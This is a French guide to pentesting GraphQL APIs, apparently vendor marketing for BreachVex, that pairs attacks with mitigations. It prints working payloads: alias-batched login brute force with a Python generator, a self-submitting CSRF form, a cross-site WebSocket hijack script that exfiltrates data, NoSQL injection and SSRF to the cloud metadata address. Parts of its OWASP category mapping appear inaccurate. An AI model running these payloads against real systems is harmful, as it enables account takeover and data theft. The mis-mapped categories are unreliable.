Pentesting des APIs GraphQL en 2026 : Le Guide Définitif
La flexibilité de GraphQL crée une surface d'attaque fondamentalement différente de REST. Les cinq expositions exploitables les plus importantes en 2026 sont : (1) l'introspection activée en production exposant le schéma complet ; (2) l'abus de batching et d'alias contournant les rate limits pour le credential stuffing et le brute force OTP ; (3) les lacunes d'autorisation au niveau des champs permettant l'alias smuggling pour accéder à des données restreintes ; (4) les sous-graphes Apollo Federation exposés directement, contournant tous les contrôles de sécurité du routeur ; et (5) les implémentations de requêtes persistées qui confondent APQ (une fonctionnalité de performance) avec un véritable safelisting de requêtes.
Surface d'attaque GraphQL en 2026
GraphQL et REST exposent des surfaces d'attaque fondamentalement différentes. Comprendre le delta est le point de départ de tout engagement de pentest.
| Dimension | REST | GraphQL |
|---|---|---|
| Découverte du schéma | Spec OpenAPI (souvent absente) | Schéma complet via introspection |
| Énumération des ressources | N endpoints | Endpoint unique, N types |
| Batching | Plusieurs requêtes HTTP | Requête unique, 500+ opérations |
| Granularité de l'autorisation | Au niveau de l'endpoint | Au niveau du champ (souvent manquante) |
| Cible du rate limiting | Nombre de requêtes HTTP | Opérations par requête (souvent illimitées) |
| Exposition des données | Format de réponse fixe | Format défini par le client — sur-récupération by design |
| Surface DoS | Par endpoint | Profondeur de requête imbriquée × nombre de champs |
La différence la plus importante est que GraphQL inverse le problème de documentation. Une API REST peut ne pas avoir de spec OpenAPI, mais une API GraphQL avec l'introspection activée publie un schéma complet et lisible par machine de chaque type, champ, mutation et argument — incluant ceux dépréciés ou non documentés.
Le paysage d'attaque 2026 est façonné par trois tendances : l'adoption généralisée d'Apollo Federation (qui crée des violations de frontières de confiance dans les sous-graphes), la confusion entre APQ et un véritable safelisting de requêtes, et le sous-investissement systématique dans l'autorisation au niveau des champs à mesure que la complexité du schéma croît.
Introspection : Au-delà de __schema
Activer l'introspection en production équivaut à publier votre modèle de données interne, la surface de logique métier et les mutations admin non documentées. La requête d'introspection standard révèle tout :
{
__schema {
types {
name
kind
fields {
name
type { name kind ofType { name kind } }
args { name type { name } }
isDeprecated
deprecationReason
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}CVE-2024-50312 (CVSS : Medium) démontre l'impact dans le monde réel : la console OpenShift exposait l'introspection GraphQL sans contrôle d'accès, permettant aux utilisateurs non authentifiés d'énumérer le schéma complet de l'API d'administration. Le patch a été inclus dans RHSA-2025:0140.
Suggestions de champs : le contournement d'introspection
Désactiver l'introspection n'est pas suffisant. Apollo Server et la plupart des implémentations majeures retournent des messages d'erreur utiles lorsqu'un champ demandé n'existe pas :
Cannot query field "usr" on type "Query". Did you mean "user", "users", or "userByEmail"?C'est la surface d'attaque de Clairvoyance, un outil open source qui soumet systématiquement des noms de champs aléatoires et collecte les suggestions pour reconstruire le schéma complet. La reconstruction est probabiliste mais pratique — les schémas courants (users, orders, products, roles) sont reconstitués en quelques minutes à l'aide d'un fuzzing par wordlist.
Atténuation : désactivez les suggestions de champs via allowedLegacyNames: [] et une règle de validation NoSuggestions personnalisée. Apollo Server 4 n'offre pas de flag natif pour cela — cela nécessite une règle de validation personnalisée :
import { GraphQLError } from "graphql";
const NoSuggestionsRule = (context) => ({
Field(node) {
// Supprimer les suggestions de toutes les erreurs de champs
},
});Fuite des valeurs d'enum
Les types enum divulguent la logique métier même lorsque l'introspection est désactivée. Si une API retourne Cannot query field "role" with value "superadmin", l'erreur confirme que superadmin est une valeur d'enum valide. Un fuzzing de style Clairvoyance contre les arguments d'enum révèle l'ensemble complet des valeurs en forçant les termes courants sur les champs d'enum connus.
GraphQL Voyager en production
GraphQL Voyager est un outil de visualisation de schéma destiné au développement. Lorsque l'introspection est activée en production, tout utilisateur qui découvre l'endpoint peut le coller dans GraphQL Voyager et recevoir un graphe interactif de tous les types et relations — incluant les mutations admin et les champs de service interne. Vérifiez la présence de /voyager, /graphql/voyager et des consoles GraphiQL intégrées accessibles sans authentification.
Profondeur de requêtes et DoS par batching
Requêtes profondément imbriquées
GraphQL permet aux clients de traverser les relations d'objets arbitrairement. Sans limites de profondeur, une seule requête peut déclencher des milliers d'opérations en base de données :
{
users {
friends {
friends {
friends {
friends {
friends { id email role }
}
}
}
}
}
}Un incident réel en janvier 2025 a utilisé ce pattern pour provoquer une panne de 3 heures sur une grande plateforme e-commerce. L'attaque a généré des milliers de requêtes en base de données depuis une seule requête HTTP, saturant le pool de connexions à la base de données avant qu'une limite de rate au niveau de l'infrastructure ne soit déclenchée.
Atténuation : appliquez des limites de profondeur au niveau de la couche de validation du schéma en utilisant graphql-depth-limit (Node.js) ou des validateurs compatibles graphene (Python). Le maximum recommandé est de 7 à 10 niveaux selon la complexité du schéma.
DoS et brute force par alias
Les alias GraphQL permettent à un client d'exécuter le même champ plusieurs fois sous différents noms dans une seule requête. C'est le mécanisme principal pour contourner les rate limits :
mutation {
a1: login(username: "admin", password: "password1")
a2: login(username: "admin", password: "password2")
a3: login(username: "admin", password: "password3")
# ... répéter 997 fois supplémentaires
}CVE-2024-50311 (OpenShift) a été découvert exactement via ce pattern — le batching par alias a provoqué l'épuisement des ressources serveur via une seule requête forgée.
La conclusion critique : un rate limiter comptant les requêtes HTTP à 10 req/s autorise 36 000 opérations par heure. Le même rate limiter avec un batching à 500 alias autorise 18 000 000 opérations par heure avec le même budget de requêtes.
Scénarios d'attaque rendus possibles par le batching d'alias :
- Credential stuffing avec des bases de données de fuites complètes en une seule session
- Brute force OTP (10 000 variantes de PIN à 4 chiffres = 1 requête)
- Énumération de comptes via analyse des différences de timing
- Vérification d'existence d'e-mails via les requêtes utilisateurs
mutation resetAll {
r0000: initiateReset(email: "user0000@target.com")
r0001: initiateReset(email: "user0001@target.com")
r0002: initiateReset(email: "user0002@target.com")
}Batching par tableau
Au-delà des alias, de nombreux serveurs GraphQL supportent le batching JSON par tableau — soumettre plusieurs opérations indépendantes dans un seul corps de requête HTTP :
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass\") }"}
]Contrairement au batching par alias, le batching par tableau peut mélanger requêtes et mutations. Le serveur les traite par lot, retournant un tableau de résultats. Désactivez entièrement le batching par tableau à moins qu'il ne soit une fonctionnalité documentée et surveillée.
GraphQL Armor fournit une défense en profondeur contre les deux vecteurs : limitation du nombre d'alias (max-aliases), limitation de profondeur (max-depth) et analyse de coût (cost-limit). Pour Apollo Router, le plugin natif demand_control avec la configuration max_cost est le mécanisme privilégié.
# apollo-router.yaml
demand_control:
enabled: true
mode: enforce
strategy:
static_estimated:
max: 1000
default_list_size: 10
default_scalar_cost: 1Sécurité d'Apollo Federation
Apollo Federation v2 distribue un schéma GraphQL entre plusieurs services sous-graphes composés par un routeur central. Le modèle de confiance a un invariant critique unique : les sous-graphes doivent être accessibles uniquement via le routeur.
L'attaque par exposition de sous-graphe
Lorsque les sous-graphes sont accessibles directement — via une NetworkPolicy Kubernetes mal configurée, un port interne exposé, ou une mauvaise configuration d'équilibreur de charge — tous les contrôles de sécurité au niveau du routeur sont contournés :
- Validation JWT
- Demand control (limites de coût)
- Safelisting d'opérations (Persisted Query List)
- Enforcement CORS
- Rate limiting
Les sous-graphes exposent également les champs de coordination de fédération même lorsque l'introspection du routeur est désactivée :
# Requête directe au sous-graphe — contourne l'auth du routeur
{
_service {
sdl # Retourne la définition complète du schéma du sous-graphe
}
}Le champ _entities est tout aussi révélateur :
{
_entities(representations: [{ __typename: "User", id: "1" }]) {
... on User { id email role internalScore }
}
}Méthodologie de test : depuis une position réseau externe, sondez les ports de service interne (4001, 4002, 4003 sont des ports par défaut courants pour les sous-graphes). Si accessible, exécutez { _service { sdl } } pour extraire le schéma complet du sous-graphe.
La frontière de confiance de la directive @inaccessible
La directive @inaccessible d'Apollo Federation marque les champs qui ne devraient pas être exposés dans le supergraphe composé. Cependant, il s'agit d'une annotation au moment de la composition — le champ existe toujours et est toujours résolvable au niveau du sous-graphe. L'accès direct au sous-graphe retourne les champs @inaccessible sans restriction.
# Dans le schéma du sous-graphe
type User @key(fields: "id") {
id: ID!
email: String!
internalRiskScore: Float @inaccessible # Caché du supergraphe
stripeCustomerId: String @inaccessible # Caché du supergraphe
}Les deux champs sont directement interrogeables sur le sous-graphe. @inaccessible n'offre aucune sécurité pour l'accès direct aux sous-graphes — c'est une directive de composition de schéma, pas un contrôle d'autorisation.
Risques liés au forwarding d'en-têtes
Apollo Router transfère les en-têtes de requête vers les sous-graphes selon sa configuration. Des règles de propagation headers mal configurées peuvent transférer des en-têtes sensibles (Authorization, X-Internal-Service-Key) à tous les sous-graphes, créant des vulnérabilités de confused deputy où un sous-graphe reçoit des credentials destinés à un autre.
# Dangereux : transfert de tous les en-têtes à tous les sous-graphes
headers:
all:
request:
- propagate:
matching: ".*" # Transfère Authorization, cookies, en-têtes internesLimitez le forwarding d'en-têtes à des sous-graphes et des noms d'en-têtes spécifiques.
Requêtes persistées : contournement et empoisonnement
APQ n'est pas une fonctionnalité de sécurité
Les Automatic Persisted Queries (APQ) mettent en cache les chaînes de requête par hash SHA-256 pour réduire la surcharge réseau. Le client envoie le hash ; si le serveur ne l'a pas vu, il répond par PERSISTED_QUERY_NOT_FOUND et le client réessaie avec la requête complète. Le serveur met ensuite la requête en cache pour une utilisation future.
Cela signifie que toute requête peut être enregistrée via APQ — y compris les requêtes d'introspection, les requêtes profondément imbriquées et les attaques par alias. L'APQ est une optimisation de performance sans propriétés de sécurité.
La documentation d'Apollo elle-même est explicite : « Les Automatic Persisted Queries ne fournissent aucune fonctionnalité de sécurité. Si vous voulez éviter l'exécution d'opérations GraphQL arbitraires, vous devriez utiliser les Persisted Operations à la place. »
Trusted Persisted Queries (Safelisting PQL)
Une Persisted Query List (PQL) est une liste d'autorisation côté serveur d'opérations pré-enregistrées générées depuis les clients first-party au moment du build. Le routeur rejette toute opération absente de la liste.
L'attaque de contournement : la plupart des implémentations PQL valident le hash de la requête mais pas la sémantique complète de l'opération. Un pentester capable d'enregistrer une nouvelle opération (en trouvant un endpoint de staging ou de développement avec APQ activé) peut parfois empoisonner la PQL de production si les deux environnements partagent le même backend de stockage.
Liste de vérification pour les requêtes persistées :
- Envoyez une requête arbitraire — confirmez le rejet avec
PERSISTED_QUERY_NOT_FOUNDou équivalent - Envoyez une requête d'introspection — confirmez le rejet
- Testez si le champ
extensions.persistedQuery.sha256Hashaccepte des hashes arbitraires ou uniquement des hashes enregistrés - Si le staging partage une PQL avec la production, testez l'enregistrement cross-environnement
- Tentez l'aliasing de
__typenamepour faire passer des champs restreints dans la forme d'une opération enregistrée
Patterns d'autorisation et contournements
Broken Function-Level Authorization (BFLA)
Le BFLA en GraphQL se manifeste par un accès aux mutations sans validation de rôle :
# L'attaquant est authentifié en tant qu'utilisateur standard, appelle une mutation admin
mutation {
deleteUser(id: "42") { success }
updateUserRole(userId: "99", role: "ADMIN") { user { id role } }
exportAllUserData { downloadUrl }
}Environ 54 % des vulnérabilités GraphQL connues sont liées à un contrôle d'accès défaillant, selon les recherches en sécurité sur les rapports de bugs publics. La cause principale : GraphQL ne dispose d'aucune couche d'autorisation intégrée. Chaque resolver doit implémenter ses propres vérifications d'accès. À mesure que les schémas grandissent, les lacunes de couverture sont inévitables sans revue systématique.
Tests : pour chaque mutation découverte via l'introspection, tentez son exécution depuis un compte moins privilégié. Documentez la signature de la mutation et testez-la pour chaque niveau de rôle (non authentifié, utilisateur standard, analyste, admin).
Alias Smuggling (Parameter Smuggling)
L'alias smuggling exploite les lacunes d'autorisation au niveau des champs. L'équipe de recherche Detectify a documenté ce pattern dans un bug réel de New Relic où un utilisateur restreint pouvait accéder aux champs licenseKey réservés aux administrateurs :
# Requête normale de l'utilisateur restreint
{
currentAccount {
name
capabilities { name }
}
}
# Contrebande : licenseKey ajouté — retourné sans vérification d'autorisation
{
currentAccount {
name
licenseKey # Le champ nécessite un rôle admin — non vérifié au niveau du resolver
capabilities { name }
}
}La cause racine est une autorisation appliquée au nom de l'opération ou au niveau de la racine de la requête mais pas dans les resolvers individuels. L'autorisation au niveau des champs doit être appliquée dans chaque resolver, pas seulement à la racine de la requête.
Un constat HackerOne réel : Snapchat bug #1819832 — la mutation deleteStorySnaps manquait de vérification de propriété, permettant à tout utilisateur authentifié de supprimer les story snaps d'un autre utilisateur. Bounty : 15 000 $.
IDOR via énumération d'IDs numériques
Les arguments GraphQL exposent fréquemment des clés primaires directement :
{
order(id: 1337) { id total items { productId quantity } customerId }
invoice(id: 8821) { pdfUrl amount dueDate }
}Les IDs entiers séquentiels permettent une énumération complète avec un nombre minimal de requêtes. Un seul lot de 500 requêtes avec alias couvre 500 IDs de ressources en une seule requête HTTP. Contrairement à REST où chaque ressource nécessite une requête séparée (et déclenche donc les rate limits), le batching GraphQL rend l'énumération horizontale considérablement plus rapide.
Consultez la référence sur les vulnérabilités IDOR pour la taxonomie d'attaque complète.
Assignation de masse via les types d'entrée
Les mutations GraphQL acceptent des types d'entrée complexes. Si la définition du type d'entrée est plus large que la surface d'écriture prévue, l'assignation de masse s'ensuit :
# Mutation prévue
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) { id email }
}
# Définition du type d'entrée — trop permissive
input CreateUserInput {
email: String!
password: String!
role: String # Ne devrait pas être modifiable par le client
isVerified: Boolean # Ne devrait pas être modifiable par le client
credits: Int # Ne devrait pas être modifiable par le client
stripeCustomerId: String # Champ interne, exposé dans le schéma
}
# Attaque : fournir des champs privilégiés
{
"input": {
"email": "attacker@evil.com",
"password": "secure123",
"role": "ADMIN",
"isVerified": true,
"credits": 99999
}
}La mitigation consiste en une conception stricte des types d'entrée : séparez CreateUserInput (public) de AdminCreateUserInput (interne) et n'exposez jamais les champs privilégiés dans les types d'entrée accessibles publiquement. Consultez la référence sur l'assignation de masse pour les patterns complets.
CSRF sur les mutations GraphQL
Le CSRF GraphQL est possible chaque fois que le serveur accepte des mutations via des requêtes GET ou via des types de contenu non JSON, car les navigateurs peuvent initier ces requêtes cross-origin sans preflight.
CSRF par mutation GET
Certaines implémentations (dont les anciennes versions d'express-graphql) acceptent des mutations passées en paramètres de requête URL :
GET /graphql?query=mutation{deleteAccount(id:"me"){success}}Une balise <img src="https://api.target.com/graphql?query=mutation{...}"> forgée déclenche la mutation pour tout visiteur authentifié.
Contournement via Content-Type
Lorsqu'un serveur accepte application/x-www-form-urlencoded pour les opérations GraphQL, un formulaire HTML standard déclenche la mutation :
<form action="https://api.target.com/graphql" method="POST">
<input name="query" value="mutation { updateEmail(email: 'pwned@evil.com') { success } }">
</form>
<script>document.forms[0].submit();</script>CVE-2025-68604 (plugin WPGraphQL, versions antérieures à 2.5.4) a documenté exactement cela : une vulnérabilité CSRF dans le plugin WordPress WPGraphQL permettait à un attaquant de déclencher des mutations modifiant l'état — incluant la création de comptes admin et la modification des paramètres du plugin — contre des administrateurs WordPress authentifiés.
Distinctement, CVE-2026-33290 (WPGraphQL < 2.10.0) était une faille d'autorisation au niveau des fonctions (BFLA) dans la mutation updateComment permettant aux utilisateurs peu privilégiés de s'auto-approuver des commentaires — un problème distinct de la faille CSRF ci-dessus.
Contournement CSRF via Multipart
Des recherches publiées début 2026 ont identifié un pattern de contournement : la validation CSRF appliquée aux requêtes JSON mais pas aux chemins d'analyse multipart/form-data. Si un serveur GraphQL supporte les uploads multipart (courant pour les mutations d'upload de fichiers) et n'applique pas la validation CSRF au chemin de code multipart, la protection est contournée via une mutation encodée en multipart.
Apollo Router atténue entièrement cette classe en rejetant tous les types de contenu non JSON par défaut. Les implémentations FastAPI et Express personnalisées manquent fréquemment de cette protection.
Consultez la référence sur les vulnérabilités CSRF pour la taxonomie complète des attaques cross-site request forgery.
Assignation de masse via les types d'entrée
Le schéma GraphQL est un contrat précis de ce que le serveur accepte. Lorsque ce contrat inclut des champs privilégiés, le schéma lui-même devient la documentation d'attaque.
Approche systématique du pentester :
- Extraire tous les types
inputvia l'introspection - Comparer les champs du type d'entrée avec ce que la documentation de l'API décrit comme modifiable
- Soumettre des mutations avec tous les champs du type d'entrée remplis, incluant ceux non documentés ou privilégiés
- Observer quels champs sont acceptés et reflétés dans la réponse
# Test : le serveur accepte-t-il et applique-t-il le champ role ?
mutation {
updateProfile(input: {
displayName: "Test User"
role: "admin" # Privilégié — devrait être rejeté
emailVerified: true # Privilégié — devrait être rejeté
internalScore: 9999 # Interne — ne devrait pas exister dans le type d'entrée
}) {
id displayName role emailVerified
}
}Sécurité des subscriptions WebSocket
Les subscriptions GraphQL opèrent sur des connexions WebSocket persistantes, créant une surface de sécurité distincte des endpoints de requête et de mutation.
sequenceDiagram
participant Client
participant WS as Serveur WebSocket
participant Auth as Service Auth
participant DB as Base de données
Client->>WS: WS Upgrade (sans token)
WS->>Client: 101 Switching Protocols
Client->>WS: connection_init { payload: {} }
WS->>Client: connection_ack
Client->>WS: subscribe { query: "subscription { allOrders { id total } }" }
WS->>Auth: Valider token (absent)
Auth->>WS: Pas de token && pas d'erreur si vérification auth absente
WS->>DB: S'abonner à toutes les commandes
DB->>WS: Flux de TOUTES les commandes (fuite entre utilisateurs)
WS->>Client: données de commandes de tous les utilisateursTiming de l'authentification
Le protocole graphql-ws envoie les credentials d'authentification dans le payload du message connection_init, pas dans les en-têtes HTTP lors de la mise à niveau WebSocket. De nombreuses implémentations valident l'authentification uniquement sur la requête de mise à niveau HTTP (où les en-têtes sont présents) et non sur le message connection_init. Cela crée une fenêtre où un WebSocket non authentifié peut tenter des opérations de subscription avant que le payload d'auth ne soit traité.
Test : initiez une connexion WebSocket, envoyez subscribe immédiatement sans envoyer connection_init. Les serveurs conformes devraient rejeter la subscription. Les serveurs non conformes peuvent commencer à diffuser des données.
Dérive des autorisations
Contrairement aux requêtes HTTP où chaque requête porte un token frais, une connexion WebSocket persiste. Deux scénarios critiques de dérive :
- Expiration du token : le JWT utilisé au moment de la connexion expire en cours de diffusion. Le serveur ferme-t-il la connexion ou continue-t-il à diffuser ?
- Révocation de permissions : le rôle de l'utilisateur est rétrogradé côté serveur. La subscription active reflète-t-elle le nouveau périmètre de permissions ?
Un rapport HackerOne Shopify a documenté ce pattern : les permissions utilisateur révoquées n'étaient pas immédiatement appliquées aux subscriptions actives, créant une brève fenêtre d'accès non autorisé aux données.
CVE-2023-38503 (Directus) : des utilisateurs non autorisés recevaient des mises à jour de subscription en temps réel destinées à des utilisateurs plus privilégiés en raison de l'absence de vérifications d'autorisation par événement.
CVE-2024-54147 (client Altair GraphQL) : le client ne validait pas les certificats HTTPS sur les connexions WebSocket, permettant des attaques MITM contre les subscriptions actives.
Cross-Site WebSocket Hijacking (CSWSH)
Si la mise à niveau WebSocket ne valide pas l'en-tête Origin, la page d'un attaquant peut initier une connexion de subscription en utilisant les cookies de session de la victime :
// Page de l'attaquant — le navigateur de la victime effectue cette requête
const ws = new WebSocket("wss://api.target.com/graphql");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "connection_init",
payload: {} // Les cookies de la victime sont envoyés automatiquement
}));
ws.send(JSON.stringify({
type: "subscribe",
id: "1",
payload: { query: "subscription { notifications { content recipientId } }" }
}));
};
ws.onmessage = (e) => exfiltrate(e.data);Atténuation : validez Origin lors de la mise à niveau WebSocket. Rejetez les connexions depuis des origins non reconnus. Utilisez exclusivement wss://. Appliquez SameSite=Strict aux cookies de session.
Consultez la référence sécurité JWT et les patterns d'injection SQL pour les vecteurs d'injection adjacents dans les implémentations de resolvers.
Méthodologie de pentest pour GraphQL
Phase 1 — Découverte
Les endpoints GraphQL ne suivent pas une convention d'URL unique. Vérifiez tous les chemins courants :
/graphql,/api/graphql,/v1/graphql,/v2/graphql/query,/gql,/graphiql,/graphql/console/api/v1/query,/graphql/v1- Hasura par défaut :
/v1/graphql,/v2/graphql - WPGraphQL par défaut :
/graphql
Pour les applications mobiles, extrayez les endpoints depuis le binaire APK ou IPA en utilisant strings, apktool ou jadx. Les endpoints GraphQL dans les applications mobiles sont souvent des chaînes codées en dur et apparaissent dans la source après décompilation. Recherchez /graphql, Apollo ou application/json combiné avec des patterns d'opérations.
Découverte passive via Shodan : http.title:"GraphQL Playground" retourne des consoles de développement exposées. http.title:"GraphiQL" capture un ensemble plus large.
Phase 2 — Extraction du schéma
Avec l'introspection activée, extrayez le schéma complet :
{
__schema {
types { name kind description fields { name type { name kind } isDeprecated } }
queryType { name }
mutationType { name }
subscriptionType { name }
}
}Importez le résultat dans InQL (extension Burp Suite) pour générer une liste structurée de toutes les requêtes, mutations et leurs signatures d'arguments.
Avec l'introspection désactivée, exécutez Clairvoyance :
python3 -m clairvoyance https://api.target.com/graphql \
--wordlist common.txt \
--output schema.json
# Puis importez dans InQL ou VoyagerPhase 3 — Tests des frontières d'autorisation
Pour chaque mutation découverte et requête sensible :
- Testez depuis un état non authentifié
- Testez depuis le compte authentifié avec le moins de privilèges
- Comparez la réponse avec celle du compte ayant le plus de privilèges
- Testez horizontalement : substituez les IDs de ressources d'un autre utilisateur
- Testez au niveau des champs : ajoutez des champs privilégiés aux requêtes autorisées
# Étape 1 : authentifié en tant qu'utilisateur peu privilégié
{
currentUser {
id
email
# Ajouter des champs qui devraient nécessiter une élévation
apiKeys { key name createdAt }
billingInfo { cardLast4 stripeId }
internalNotes { content createdBy }
}
}Phase 4 — Tests de batching et DoS
# Générer une attaque de connexion à 1000 alias
aliases = "\n".join(
f' a{i}: login(username: "admin", password: "{pwd}") {{ token }}'
for i, pwd in enumerate(wordlist[:1000])
)
query = f"mutation {{\n{aliases}\n}}"Testez à la fois le batching par alias (même requête HTTP, opérations avec alias) et le batching par tableau (tableau JSON d'objets d'opérations).
Phase 5 — Tests d'injection
Les resolvers GraphQL interfacent fréquemment avec des bases de données SQL, des stores NoSQL et des moteurs de templates. Les vecteurs d'injection standard s'appliquent :
# Injection NoSQL dans un resolver MongoDB
{
user(email: "{\"$ne\": null}") { id email role }
}
# SSRF via un resolver acceptant des URL
{
fetchExternalData(url: "http://169.254.169.254/latest/meta-data/") { content }
}Consultez la référence sur les vulnérabilités SSRF et les patterns d'injection NoSQL pour les payloads d'injection au niveau des resolvers.
Comment BreachVex teste les APIs GraphQL
Le pipeline automatisé de BreachVex teste les endpoints GraphQL comme une surface d'attaque de premier plan dans chaque scan.
Découverte et extraction de schéma
L'étape de cartographie des endpoints énumère les chemins GraphQL courants sur le domaine cible et la surface des sous-domaines. Lorsqu'un endpoint GraphQL est détecté, le pipeline tente l'introspection. En cas d'échec (introspection désactivée), il exécute un fuzzing de suggestions de schéma en utilisant une wordlist de 8 000 termes couvrant les patterns de schéma GraphQL courants dans les APIs e-commerce, SaaS, fintech et santé.
Sondes de frontières d'autorisation
L'étape de test d'authentification teste l'autorisation au niveau des champs en ajoutant systématiquement des champs du schéma extrait aux requêtes autorisées et en observant les différences de réponse. Tout champ retourné pour un rôle moins privilégié qui est documenté comme nécessitant un privilège plus élevé est signalé comme une découverte BFLA.
Preuve d'attaque par batching
Pour les opérations sensibles (connexion, réinitialisation de mot de passe, vérification OTP, changement d'e-mail), le pipeline génère des variantes avec alias par lots et les soumet pour mesurer :
- Si le serveur traite tous les alias (pas de limite côté serveur)
- Si le rate limiting se déclenche (comptage des requêtes HTTP vs. des opérations)
- Si la réponse contient des données différentielles (confirmant des credentials valides)
Chaque vulnérabilité de batching confirmée inclut une paire requête/réponse HTTP capturée montrant l'attaque multi-opérations comme preuve d'exploitation.
Vérification CSRF
Le pipeline teste les endpoints GraphQL pour l'acceptation de mutations GET et la gestion des types de contenu non JSON. Pour les cibles d'applications web avec un contexte de navigateur headless, il tente un CSRF basé sur des formulaires contre les endpoints de mutation et capture l'interaction HTTP comme preuve d'exploitation navigateur.
Reporting
Les découvertes sont mappées aux catégories de l'OWASP API Security Top 10 :
- Exposition de l'introspection → API1:2023 Broken Object Level Authorization (schéma)
- DoS par batching → API4:2023 Unrestricted Resource Consumption
- BFLA / alias smuggling → API5:2023 Broken Function Level Authorization
- Assignation de masse → API6:2023 Unrestricted Access to Sensitive Business Flows
- Mutations CSRF → API8:2023 Security Misconfiguration
Chaque découverte inclut un scoring CVSS v3.1, une requête de reproduction avec le payload GraphQL exact, et des recommandations de remédiation adaptées au framework détecté (Apollo, Hasura, Yoga, Strawberry, Ariadne).
Référence rapide : Contrôles de sécurité GraphQL
| Contrôle | Outil / Configuration | Priorité |
|---|---|---|
| Désactiver l'introspection en production | Apollo Server : introspection: false | Critique |
| Désactiver les suggestions de champs | Règle de validation NoSuggestions personnalisée | Critique |
| Limitation de profondeur | graphql-depth-limit, max 7–10 | Critique |
| Limite du nombre d'alias | GraphQL Armor max-aliases: 5 | Critique |
| Analyse de coût | Apollo Router demand_control | Élevée |
| Désactiver le batching par tableau | Configuration serveur | Élevée |
| CSRF : appliquer le type de contenu JSON uniquement | Plugin CSRF Apollo Router | Élevée |
| Safelisting de requêtes persistées (PQL) | Apollo GraphOS PQL | Élevée |
| Isolation réseau des sous-graphes | Kubernetes NetworkPolicy | Critique |
| Validation Origin WebSocket | Middleware serveur | Élevée |
| Autorisation au niveau des champs dans les resolvers | Shield, Pothos, middleware personnalisé | Critique |
| Rate limiting par opération (pas par requête HTTP) | Compteurs de resolvers Redis | Élevée |
La puissance de GraphQL vient de sa flexibilité — et c'est précisément cette flexibilité qui rend sa sécurisation à grande échelle si difficile. Le passage de REST élimine les frontières d'autorisation naturelles que fournissent les architectures de type endpoint-par-ressource. Chaque resolver est désormais un point de décision d'autorisation indépendant. À mesure que les schémas passent de quelques dizaines à des centaines de types, maintenir une couverture cohérente de l'autorisation au niveau des champs sans outillage systématique devient la principale source de lacunes exploitables.
Les attaques qui réussissent en 2026 ne sont pas nouvelles — ce sont les mêmes patterns de contournement d'autorisation, d'assignation de masse et de DoS appliqués via les mécanismes de batching et d'aliasing uniques à GraphQL. Les défenseurs qui réussissent sont ceux qui traitent l'autorisation comme une préoccupation transversale au schéma, appliquée au niveau de la couche resolver, et non comme une réflexion tardive au niveau de la racine de l'opération.
Frequently Asked Questions
- Désactiver l'introspection suffit-il à sécuriser une API GraphQL ?
- Non. Même avec l'introspection désactivée, les suggestions de champs dans les messages d'erreur révèlent les noms de types et de champs. Des outils comme Clairvoyance reconstituent les schémas complets via un fuzzing systématique des suggestions. Désactivez à la fois l'introspection et les suggestions de champs en production.
- Quelle est la différence entre Apollo APQ et les trusted persisted queries ?
- Les Automatic Persisted Queries (APQ) sont une optimisation de performance — elles mettent en cache les chaînes de requête par hash SHA-256 mais acceptent toujours n'importe quelle requête arbitraire enregistrée à l'exécution. Les trusted persisted queries (safelisting PQL) sont un contrôle de sécurité — seules les opérations pré-enregistrées dans une Persisted Query List sont exécutées. Les APQ n'offrent aucun avantage en matière de sécurité.
- Comment le batching GraphQL contourne-t-il le rate limiting ?
- La plupart des rate limiters comptent les requêtes HTTP, pas les opérations GraphQL. Un seul HTTP POST contenant 500 mutations de connexion avec alias compte comme une seule requête. Cela permet le credential stuffing et le brute force OTP à grande échelle sans déclencher les limites par requête.
- Pourquoi les sous-graphes Apollo Federation sont-ils dangereux lorsqu'ils sont exposés directement ?
- Les sous-graphes contournent tous les contrôles de sécurité au niveau du routeur : validation JWT, demand control, limites de coût et safelisting d'opérations. Ils exposent également les champs de coordination de fédération comme _entities et _service, qui fournissent des informations sur le schéma même quand l'introspection est désactivée sur le routeur.
- Les mutations GraphQL peuvent-elles être exploitées via CSRF ?
- Oui. Si un serveur GraphQL accepte des mutations via des requêtes GET ou via POST avec le type de contenu application/x-www-form-urlencoded, les formulaires HTML standard peuvent déclencher des opérations modifiant l'état cross-origin. Apollo Router atténue cela en rejetant les types de contenu non JSON, mais de nombreux serveurs personnalisés ne le font pas.
- Qu'est-ce que l'alias smuggling en GraphQL ?
- L'alias smuggling exploite les lacunes d'autorisation au niveau des champs. Un attaquant ajoute un alias à un champ restreint au sein d'une requête par ailleurs autorisée — par exemple, en ajoutant licenseKey: licenseKey dans une requête pour le nom du compte. Si le resolver ne vérifie l'autorisation qu'au niveau de l'opération et non au niveau du champ, le champ restreint est retourné.
- Comment tester les autorisations dans les subscriptions WebSocket ?
- Connectez-vous à l'endpoint de subscription en utilisant wscat ou l'historique WebSocket de Burp Suite. Tentez l'initiation d'une subscription sans token, avec un token expiré et avec le token d'un autre utilisateur. Vérifiez ensuite que le flux de données est limité à l'utilisateur authentifié — les fuites de données entre utilisateurs constituent la découverte principale.
- Quels outils utiliser pour le pentesting GraphQL en 2026 ?
- InQL (extension Burp Suite) pour l'introspection structurée et la génération de requêtes. Clairvoyance pour la reconstruction de schéma lorsque l'introspection est désactivée. GraphQLmap et BatchQL pour les attaques par batching. Altair ou GraphiQL pour la conception interactive de requêtes. graphql-armor pour les tests de configuration défensive.
- Hasura présente-t-il des vulnérabilités d'autorisation connues ?
- Oui. Les versions 2.10.0 à 2.15.0 du moteur GraphQL Hasura contenaient un contournement d'autorisation critique (GHSA-g7mj-g7f4-hgrg) dans l'API Update Many pour les backends PostgreSQL. L'autorisation au niveau des lignes n'était pas appliquée, permettant à tout utilisateur disposant de permissions de mise à jour de modifier et lire des lignes au-delà de leur périmètre autorisé. Mettez à jour vers la version 2.15.2 ou ultérieure (la v2.15.1 reste vulnérable selon GHSA-g7mj-g7f4-hgrg).
- Comment BreachVex teste-t-il automatiquement les APIs GraphQL ?
- BreachVex exécute un pipeline dédié de découverte et d'exploitation GraphQL : énumération passive des endpoints, extraction de l'introspection, fallback par suggestions de schéma quand l'introspection est désactivée, sondes de batching par alias, tests de frontières d'autorisation au niveau des champs et vérification CSRF via un navigateur headless. Chaque découverte inclut une preuve HTTP capturée de l'exploitation.